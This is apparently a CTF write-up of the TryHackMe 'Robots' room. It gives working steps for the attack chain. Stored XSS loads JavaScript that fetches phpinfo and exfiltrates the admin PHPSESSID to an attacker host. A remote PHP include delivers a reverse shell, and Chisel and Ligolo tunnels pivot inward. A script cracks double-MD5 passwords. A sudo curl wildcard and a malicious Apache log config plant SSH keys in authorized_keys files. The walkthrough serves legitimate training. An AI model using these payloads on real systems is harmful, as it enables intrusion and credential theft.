☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • Recon
  • Web Access As Admin
  • Shell As www-data (RCE via SSRF)
  • Shell As rgiskard
  • DB Access
  • Ligolo-ng setup
  • Chisel setup
  • Reconstruct Credentials
  • Shell As dolivaw
  • Shell As root
  • Recommendations

Was this helpful?

  1. TryHackme
  2. 2025

Robots

A (small) tribute to I. Asimov. - by shamollash

PreviousMayhemNextBilling

Last updated 1 month ago

Was this helpful?

The following post by 0xb0b is licensed under


Recon

We start with an Nmap scan and find three open ports. On port 22 we have SSH and on port 80 and 9000 we have web servers. We get the robots.txt entries directly from the default script scan.

We have some interesting directories from the robots.txt:

/harming/humans
/ignoring/human/orders
/harm/to/self

We visit the index page of the site on port 80, but only get a Forbidden.

On port 9000 we only have the Apache2 default page in front of us.

We visit the directories of the robots txt, but we only get a login page on the path /harm/to/self. For the others we also only get a Forbidden.

We visit the login page and see that it is a PHP page. Unfortunately, the login does not provide any feedback, for example to enumerate usernames.

We use gobuster to look for other directories and PHP pages in /harm/to/self. Among other things, we have an admin.php page there. Which we cannot access without authorisation.

We continue and register a user. To do this, we enter a username and date of birth. We are informed that the initial password is the MD5 hash of the username concatenated with the day and month of the date of birth.

If we had feedback when registering or logging in, we could certainly have enumerated usernames and passwords using FFuF. But this is not the case.

We calculate our hash with CyberChef...

md5(username+ddmm)
md5(0xb0b0101)

... log in ...

... And see the index page of /harm/to/self. Our username is reflected here, but we also see that there is probably an Admin user. At the top left we have a link called server info.

This link reveals the PHP info page. We'll explain how useful this can be for us in a moment.

Web Access As Admin

Since our username is reflected, we use a simple XSS payload as the username. We register a user with the following username, log in and receive our alert.

<script>alert("hi");</script>

So if the admin also interacts with the page and would also see a list of usernames, we could steal the admin cookie. This would allow us to enter the admin session and interact via admin.php, which we found in the gobuster scan.

Unfortunately, the HttpOnly flag is set. The HttpOnly flag prevents JavaScript from accessing the cookie, making it accessible only through HTTP requests to protect against XSS attacks.

But we have different access to the cookie, as the following article shows us and as already mentioned the PHP info page could become important for us.

We can steal the cookie from the PHP info page.

We use the following script from Hacktricks for this. And provide it with a web server from us.

var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://10.14.90.235/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);

The username can then look like the following. If something does not work, we can simply adapt our script on our web server and reload the page after logging in to execute the adapted script again.

<script src="http://10.14.90.235/legit_user.js"></script>

We register the user...

... log in...

... and are unable to retrieve the full page because the content is too large to fit into a URI.

We adapt the script to only steal the cookie content...

var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://10.14.90.235/exfil";
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var match = xhr.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);
        if (match) {
            fetch(attacker + "?cookie=" + match[1]);
        }
    }
}

xhr.open('GET', url, true);
xhr.send(null);

... and reload the index page and have the admin cookie exfiltrated later.

We replace the cookie.

Reload the index page again, and it seems like we are now Admin, since we can see all users created so far.

Shell As www-data (RCE via SSRF)

As Admin, we now access the admin.php and see that we can test for urls.

We provide our webserver address...

http://10.14.90.235

And see a directory listing rendered.

We test, if we can inject PHP pages...

whoami.php
<?php
system('whoami');
?>

We provide the page the same as the other content with a simple http server using python.

python -m http.server 80

Next we access the whoami.php page on our server.

http://10.14.90.235/whoami.php

And see that our page gets resolved.

Next, we provide a pentestmonkey PHP reverse shell and set up a listener.

We then submit the URI to our pentestmonkey PHP page...

http://10.14.90.235/pentestmonkey.php

... and get a connection back to our listener. Next, we upgrade our shell with the following resource.

We are www-data.

Shell As rgiskard

As www-data we find the database credentials in the config.php of the webserver. Unfortunately, there is no database service running on the server itself and the availability of simple tools / binaries is limited.

DB Access

In the root directory we find a .dockerenv file...

The /etc/hosts with the entry for robots.thm also indicates that we are in a Docker container. Maybe we have more containers available on 172.18.0.0/24. Perhaps including one on which the database is running.

Ligolo-ng setup

This is not necessary to solve the room, it can be jumped directly to Chisel setup, but to understand how you can use ligolo-ng to make a network available to you.

For the subsequent phases, we use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface called ligolo and configuring routes to forward traffic for specific IP ranges (240.0.0.1, 172.18.0.0/24) through the tunnel.

                                                                                                                                                                                                   
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
[sudo] password for 0xb0b: 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip link set ligolo up 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip route add 240.0.0.1 dev ligolo
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/robots]
└─$ sudo ip route add 172.18.0.0/24 dev ligolo

                                                

Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.

On our attack machine, we start the proxy server.

./proxy -selfcert 

Next, we run the agent on the target machine to connect to our proxy.

./agent -connect 10.14.90.235:11601 --ignore-cert

We get a message on our ligolo-ng proxy that an agent has joined. We use session to select the session and then start it.

Now we are able to scan 172.18.0.0/24 using nmap. We see that we have 172.18.0.1, 172.18.0.2, and 172.18.0.3 reachable. The MySQL server is running on 172.18.0.2.

We try to log in to the web server with the credentials, but are unsuccessful. The relay using ligolo-ng does not seem to work properly.

mysql -h 172.18.0.2 -u robots -p

Chisel setup

We used ligolo-ng to make the Docker network available and found out that the MySQL server is running on 172.18.0.2. Since the MySQL client cannot connect properly using ligolo-ng, we use Chisel.

We setup the chisel server on our attacker machine.

./chisel server --reverse --port 51234

Download chisel on the target machine, make the binary executable and execute the chisel client to set up a reverse port forwarding tunnel, forwarding remote port 3306 on the target (at 172.18.0.2) to local port 3306 on the Chisel server (at 10.14.90.235) via the client.

./chisel client 10.14.90.235:51234 R:3306:172.18.0.2:3306

Now, we are able to ascess the MySQL server on 127.0.0.1 3306.

mysql -h 127.0.0.1 -u robots -p

There is a web database, which hs a users table containing the usernames and password hashes. Among them we have the previously unknown user rgiskard. Perhaps we can reuse its password, for example for SSH access.

We notice that our hash (our actual password for 0xb0b) does not match the database entry.

The password entries are hashed.

Reconstruct Credentials

Since we know how the initial passwords are composed [md5(username+ddmm)], we can write a script that generates all passwords for us and compares their hashes with the one found. This way we get to the original string and the hash of the original string which is the password.

rgiskard.py
import hashlib
import sys

def find_matching_double_md5(username, target_hash):
    if not username:
        print("Username must be provided")
        return
    
    for day in range(1, 32):
        for month in range(1, 13):
            # Format day and month to ddmm
            ddmm = f"{day:02d}{month:02d}"
            # Concatenate username with ddmm
            combined_string = username + ddmm
            
            # First MD5 hash
            first_md5 = hashlib.md5(combined_string.encode()).hexdigest()
            
            # Second MD5 hash
            double_md5 = hashlib.md5(first_md5.encode()).hexdigest()
            
            if double_md5 == target_hash:
                print(f"\nMatch found:")
                print(f"Combined string: {combined_string}")
                print(f"First MD5: {first_md5}")
                print(f"Double MD5: {double_md5}")
                return

    print("No match found")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <username> <target_hash>")
        sys.exit(1)

    username = sys.argv[1]
    target_hash = sys.argv[2]
    find_matching_double_md5(username, target_hash)

We execute our script, provide username and found hash, and we got a hit.

We are able to log in via SSH as rigskard using the hash of the combined string. But we won't find the user.txt in the home directory of the user.

Shell As dolivaw

But we see that we are allowed to execute cURL as the user dolivaw using sudo with a wildcard.

Using cURL with wildcard allows us to write to a location as dolivaw. Like the following:

sudo -u dolivaw curl 127.0.0.1/ -o /tmb/b file:///tmp/test -o /home/dolivaw/test

We could use this to write our own ssh key public key to authorized_key file in dolivaw's home directory. Allowing us to SSH as dolivaw, since we are in possesion of a freshly generated SSH private key.

We generate a private key at /tmp.

ssh-keygen -t rsa

Next, we write the content of the public key in /tmp/id_rsa.pub to /home/dolivaw/.ssh/authorized_keys.

sudo -u dolivaw curl 127.0.0.1/ -o /tmb/b file:///tmp/id_rsa.pub -o /home/dolivaw/.ssh/authorized_keys

We then copy the key to our machine. Encoding helps a little...

cat b64_id_rsa| base64 -d > id_rsa

... and adjust the permission

chmod 600 id_rsa

We can now use the private key to log in as dolivaw. In the home directory of the user the first flag can be found.

Shell As root

As dolivaw we are allowed to execute /usr/sbin/apache2 as root using sudo without the need of as password.

We still have the authorized_keys entry of dolivaw we created.

So we could create an Apache config file, that is abusing the logging feature to write an SSH public key into /root/.ssh/authorized_keys.

ServerRoot "/tmp/myapache"
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
Listen *:7777
ErrorLog /tmp/myapache/error.log
LogFormat "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQpADbqEsA4gRcdVcmF9DrXgdxcAF1wOez3eEwltOYs/D8pkc3qu+ERKYpC29SOXNcbWhAH7lu0A562nfcv9ZOXcPXvinr8Aekx54pLyYvzKMsSZx6vku1Q5e1Gp9OqFeQcm54h6s93Hpm/Kzq4xfQd/zqUF3Fb/eJFu/pJgYdutDsATpkAbJRYrFLeND4h6VKWQ/+uS/IDg2NATXvO2ngxZPuU250QYZgDzIOjuwtFpAPQ9ToaoexvWzJFDA03LeZOWloMGxwJSthNpq7uskrjSROSsEtXilyFUNYWMPryJPnjytc+P7mBUqL/twJFA6iOsvt55wA9+AS3wVC9gDZocuyz04+DslTNEWeX+WEbMfleko+VJBln05zbhjfNNi9Acs2jPA4IN00wqSWETdl7nsr/9jCe+CTNa+3wsdf/2FDk0U430rPT+xV3j28Xvl1hx0hQx1BYlsT7yNsNdesMGhGnMp6PDi1JlwsdDkYuF355DgCjR6F74KelgUQmFU= rgiskard@ubuntu-jammy" asdf
CustomLog /root/.ssh/authorized_keys asdf

After preparing the configuration file, we start the Apache server pointingg to our configuration.

  • Apache starts using the specified config file (-f /tmp/myapache/apache2.conf).

  • Since we’re running Apache as root using sudo, Apache will have root-level permissions.

sudo apache2 -f /tmp/myapache/apache2.conf -k start
  • A request to localhost:7777 will trigger the logging mechanism.

  • The LogFormat contains the SSH public key, so Apache will:

    1. Handle the request.

    2. Write the LogFormat content (the SSH key) to /root/.ssh/authorized_keys.

    3. Since Apache is running as root, it has write access to /root/.ssh/authorized_keys.

curl localhost:7777

We reuse our private key to log in as root using SSH. The final flag can be found at /root/root.txt.

Recommendations

Don't miss the unintendes discovered by Jaxafed. Among them a file read with Include to read the final flag and RCE with CGI Scripts to gain a root shell.

File Read with Include by Jaxafed:

RCE with CGI Scripts by Jaxafed:

Foothold without Cookie + Database leak without Portforwarding by AkewakBiru:

Furthermore, we have a wonderful writeup by AkewalBiru, who has gained foothold completly on the client side using Javascript without stealing the session cookie.

And on top of that, AkewalBiru had leaked the database by executing PHP on the target without having to foward the ports. Great!

Use of Pipes in Apache Logging to gain a root shell by djalilayed:

CC BY 4.0
RobotsTryHackMe
Stealing session ids with phpinfo() and how to stop itspazef0rze
XSS (Cross Site Scripting) - HackTricks
Logo
Upgrade Simple Shells to Fully Interactive TTYs
Release v0.7.3 · nicocha30/ligolo-ngGitHub
Logo
GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTPGitHub
TryHackMe: Robotsjaxafed
TryHackMe: Robotsjaxafed
Logo
Logo
THM-writeups/Robots_v1.7/README.md at main · AkewakBiru/THM-writeupsGitHub
Logo
Logo
Logo
Logo
Logo